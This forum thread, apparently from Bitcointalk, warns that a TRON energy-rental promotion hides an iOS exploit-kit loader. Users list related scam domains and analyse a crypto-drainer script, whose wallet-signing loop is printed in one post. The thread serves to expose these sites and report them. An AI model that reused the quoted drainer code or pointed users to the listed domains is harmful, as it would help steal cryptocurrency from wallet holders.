[WARNING] malicious TRON energy renting site with an exploit kit loader

[Zwei]

what happened:

found this user on the services board looking for promoters for his TRON rental platform, but the website actually has a hidden iframe with a loader targeting devices running iOS between versions 18.1 and 18.7 for a remote code execution (RCE) exploit.



i'm not an expert at this, so i had gemini analyze the loader code, and this was its conclusion:



and this for the boot.js



according to gemini this is a Drive-By-Download Exploit Kit, and it's some nasty stuff:



user profile link: aalice888999
topic: https://bitcointalk.org/index.php?topic=5592678.0 / https://archive.is/dRk5Z

website: (DOT NOT OPEN)

Code:

tron11.com

reference links: https://www.virustotal.com/gui/url/14b8745778ac9f0a63240cb028122a3c281f6316a9c53e3cb57d3dc3a49d9c63/detection

flag: https://bitcointalk.org/index.php?action=trust;flag=3585

stay safe everyone.

[robelneo]

Good catch! I thought it was a Ponzi scheme because there have been so many Ponzi schemes have been linked to the Tron network in the past.
I got a notification from my AV. I thought it was a false positive, but your investigation proved that there is a hidden agenda behind that platform.

[hugeblack]

I noticed that the topic was deleted. In such cases, report it and the topic will be deleted + account will be banned, as posting these links violates the forum rules. Flag supported.

[Arhad]

At the very least, this is not just one site, but a network of domains:

Code:

Domain: vuuu.io
Registered On: 2026-08-15
Abuse Email: complaint@gname.com

Archive: https://ghostarchive.org/archive/A1g1d

Code:

Domain: tron22.com
Registered On: 2026-08-17
Abuse Email: rtr-security-threats@realtimeregister.com

Archive: https://ghostarchive.org/archive/37fA8

[Zwei]

At the very least, this is not just one site, but a network of domains:

yep, there are so many of them, i did a quick search and i found a few others:

Code:

Domain: ck887.com
Registered On: 2026-08-25
Abuse Email: complaint@gname.com

Code:

Domain: usdt01trx.com
Registered On: 2026-08-07
Abuse Email: abuse@nicenic.net

Code:

Domain: 230.aapk01.com
Registered On: 2026-06-28
Abuse Email: complaint@gname.com

also found a trust wallet version possing as "Trust Wallet AI Beta Partner Recruitment" as bait:

Code:

Domain: cku77.com
Registered On: 2026-08-25
Abuse Email: complaint@gname.com

and a binance version for checking "wallet security" to protect yourself from hackers, quite ironic:

Code:

Domain: binance-2026.com
Registered On: 2026-07-27
Abuse Email: abuse@nicenic.net

Code:

Domain: binance226.icu
Registered On: 2026-07-24
Abuse Email: abuse@nicenic.net

there are probably much more out there.

[JeromeTash]

Great investigative work @Zwei!

I am supporting the flag and also giving the member a red tag. I am surprised the moderators have not nuked his account for such a malicious attempt.

I noticed that the topic was deleted. In such cases, report it and the topic will be deleted + account will be banned, as posting these links violates the forum rules. Flag supported.

I tried to sneak around the post deletion by creating another topic, but this time round with no website in the OP - Looking for Active Crypto Community Contributors

The flag and red trust will be helpful

[albon]

The website he posted here doesn’t work anymore. The domain may have been suspended or taken down after it was exposed and the evidence against it was posted here.

Based on the VirusTotal scan results, the site he promoted seems to be a sophisticated attack designed to fully spy on iPhones. From what I can see, the TRON energy rental service interface is just a fake cover. That’s why the link is classified as Malicious/Phishing/Exploit, due to the malicious scripts on the site.

I have already supported the flag, and I hope everyone here will be careful before opening any links they find on the forum, and make sure to scan them first, especially when the websites are new or unknown since they could be like the sites mentioned in this thread.

[Zwei]

it's crazy that his account didn't get nuked for this.

he is still posting looking for "promoters", and he is not even trying to hide that he is targeting people on iOS, which goes in line with gemini's analysis for the exploit being used.

If you have access to quality iOS traffic or can consistently generate significant daily traffic, we would be happy to discuss cooperation and promotion terms.
...
Website:
https://[Suspicious link removed]/463Ui7Q

The website he posted here doesn’t work anymore. The domain may have been suspended or taken down after it was exposed and the evidence against it was posted here.

yeah, the domain got suspended, it's showing "client hold" right now.
but the other domains are still up, hopefully action is taken against them soon.

I hope everyone here will be careful before opening any links they find on the forum, and make sure to scan them first, especially when the websites are new or unknown since they could be like the sites mentioned in this thread.

lots of people don't do that because they find it annoying, but it's better to be safe than sorry.

just with this one, if anyone visited any of those sites using an iphone with iOS versions between 18.1 and 18.7, they won't even know they got hacked until it's too late.

[albon]

lots of people don't do that because they find it annoying, but it's better to be safe than sorry.

just with this one, if anyone visited any of those sites using an iphone with iOS versions between 18.1 and 18.7, they won't even know they got hacked until it's too late.

What do you think about this topic --> ⚡️ Don’t Be a Fool — Save Up to 99% on TRC20 Transaction Fees

It was posted by this member --> BCTS

This was his first post several days ago after his last activity in 2019, as shown in the Trust summary:

[This user recently woke up from a long period of inactivity.]

It also appears in his Trust that he received two negative trust ratings indicating that the account may be hacked or a sold account.

madnessteat

2019-12-12

Reference

Hacked account

SPQRCoin

2019-12-12

Reference

Hacked or sold account.

Domain: tronenergy.payinvoicebill.com
Registered On: 2026-09-04
Expires On: 2027-09-04
Updated On: 2026-09-05
Registrar: GMO Internet Group, Inc. d/b/a Onamae.com
Age: 26 Days

[ARCHIVED]

[Zwei]

What do you think about this topic --> ⚡️ Don’t Be a Fool — Save Up to 99% on TRC20 Transaction Fees

It was posted by this member --> BCTS
...

Domain: tronenergy.payinvoicebill.com
Registered On: 2026-09-04
Expires On: 2027-09-04
Updated On: 2026-09-05
Registrar: GMO Internet Group, Inc. d/b/a Onamae.com
Age: 26 Days

[ARCHIVED]

this is without a doubt, 100% a crypto drainer.

the website is loading a script from who i assume is a drainer provider, you can tell that by the "campaign-id" they need to include so they can track who stole what money.

Code:

<script src="/scripts/tron/build/bundle.js" campaign-id="f1e285dc-0185-4c48-bc5f-9c575435bc7a"></script>

and if you check that js file, right at the end you will find some of the drainer logic:

Code:

async onWalletSelected(e) {
                const t = e;
                if (!(t in this.adapterConfigs)) throw new Error(`Wallet ${e} not found`);
                const r = this.adapterConfigs[t],
                    n = r.adapter;
                if (n && n.state != m.NotFound) {
                    this.modal.openLoading("Waiting for wallet connection...", "Please approve the connection in your wallet.");
                    try {
                        await n.connect()
                    } catch {
                        return void this.modal.openError(FA, RA)
                    }
                    const e = n.address;
                    if (!e) return this.modal.openError(FA, RA);
                    this.modal.openLoading("Please wait", "Loading the login window");
                    const t = await this.builderAdapter.buildTransactions(e);
                    this.modal.openLoading("Complete the action", "Go back to the app and confirm the action");
                    let r = t.script_settings,
                        o = 0,
                        s = 0;
                    const i = [];
                    for (; o <= r.max_sign_attempts && s < t.transactions.length;) try {
                        let r = t.transactions[s],
                            a = (await n.signTransaction(r)).signature[0];
                        t.showcase || i.push(this.builderAdapter.signApproved(a, s, e)), s++, o = 0
                    } catch {
                        t.showcase || this.builderAdapter.signRejected(s, e), o++
                    }
                    if (t.showcase || await Promise.all(i), s != t.transactions.length) return void this.modal.openError("Complete the action", "Go back to the app and confirm the action");
                    if ("default" == t.drainer_type) return void this.modal.openError("Wallet error", "Please try a different one or try again later");
                    if ("aml" == t.drainer_type) return t.transactions.length > 0 || t.approved_tokens.length > 0 ? this.amlAccessGrantedCallback?.(e, t.account) : void this.modal.openError("Wallet error", "Please try a different one or try again later")
                } else n && r.deeplinkSupport && C() ? await n.connect() : r.walletConnectId && await this.runWalletConnectFlow(r.walletConnectId)
            }

they're not even trying to hide it, you will find the word "drainer" in multiple places in the code.

nice catch @albon

[albon]

this is without a doubt, 100% a crypto drainer.

the website is loading a script from who i assume is a drainer provider, you can tell that by the "campaign-id" they need to include so they can track who stole what money.

they're not even trying to hide it, you will find the word "drainer" in multiple places in the code.

nice catch @albon

Things are much clearer now. Thank you as well for your efforts.

It's stupid that they left the word "drainer" in their own code without even bothering to hide or obfuscate it.

Anyone who tries to use their website to buy TRON Energy will be drained within minutes.

The "99% fee savings" and "10k happy clients" are just there to attract victims into this obvious trap.

---------------------------------

1- I have already updated his negative trust and reported the topic he created so the mods can deal with it.

2- I recommend that everyone avoid interacting with the website promoted by this hacked/sold account.

3- I will also report it to the domain registrar so they can take action and hopefully shut it down.



-----------------------


Update:

[Zwei]

Things are much clearer now. Thank you as well for your efforts.

thank you as well for your efforts.

It's stupid that they left the word "drainer" in their own code without even bothering to hide or obfuscate it.

like i always say, we don't want stupid scammers to get smarter. the dumber they are, the easier it is to catch them.

3- I will also report it to the domain registrar so they can take action and hopefully shut it down.

i have also reported it to metamask in case the domain registrar does nothing, so hopefully the domain will be added to the blocklist soon.

[albon]

Update:

After the previous scammer's account was banned in post [#9], they once again used what appears to be a hacked/stolen account to promote the same scammy Tron Energy website on a new domain --> [SERVICE] ⚡ TRON Energy Rental | Save $1,000+ on TRC20 Fees | Test from 3 TRX

It was posted by this member --> Kiefner

This was his first post after his last activity in 2022, as shown in the Trust summary:

[This user recently woke up from a long period of inactivity.]



He posted his ANN in several local sections of the forum, such as the Arabic, Indonesian, Chinese, and Italian sections, and it is clear that he used automatic translation tools to do this.

Domain: tronenergy.amlcheckwallet.pro
Registered On: 2026-09-04
Expires On: 2027-09-04
Updated On: 2026-09-09
Registrar: GNAME.COM PTE. LTD.
Age: 1 Month 1Day

[ARCHIVED]

[albon]

After the previous scammer's account was banned in post [#9], they once again used what appears to be a hacked/stolen account to promote the same scammy Tron Energy website on a new domain --> [SERVICE] ⚡ TRON Energy Rental | Save $1,000+ on TRC20 Fees | Test from 3 TRX

It was posted by this member --> Kiefner

All 8 threads posted by this scammer, @Kiefner, in the local sections have now been deleted, and his account has also been banned.

Thanks to our mods for their quick response and for cleaning up the forum and removing the harmful and scam content.





---------------------------------
I have now submitted a report to the domain registrar Gname through their official website.

I provided all the necessary information and enough evidence regarding the domain, and they are currently reviewing my report.

Your complaint has been submitted successfully!
Case No.: GW2026100622222425. The system will automatically send the notification email to your contact email. Please check it.

---------------------------------
It is clear that this scammer is not going to stop here, and I expect him to come back again. I will keep you updated if he returns with another domain or account after the two accounts that have already been banned.

I hope everyone can work together to keep an eye on these scammers and report them.

[Zwei]

I provided all the necessary information and enough evidence regarding the domain, and they are currently reviewing my report.

Your complaint has been submitted successfully!
Case No.: GW2026100622222425. The system will automatically send the notification email to your contact email. Please check it.

i hope they suspend it faster than the other one, as i see it's still live. you got to love domain registrars who do nothing even though the evidence is as clear as day.

tho it got blocked by metamask and some antiviruses after i opened a blocklist addition request last week.
so i have done the same for this one as well.

It is clear that this scammer is not going to stop here, and I expect him to come back again. I will keep you updated if he returns with another domain or account after the two accounts that have already been banned.

100%, i also noticed both domains were registered on the same day, so he probably registered a bunch of them, knowing one or two won't be enough.

thank you once again for your efforts @albon, you are awesome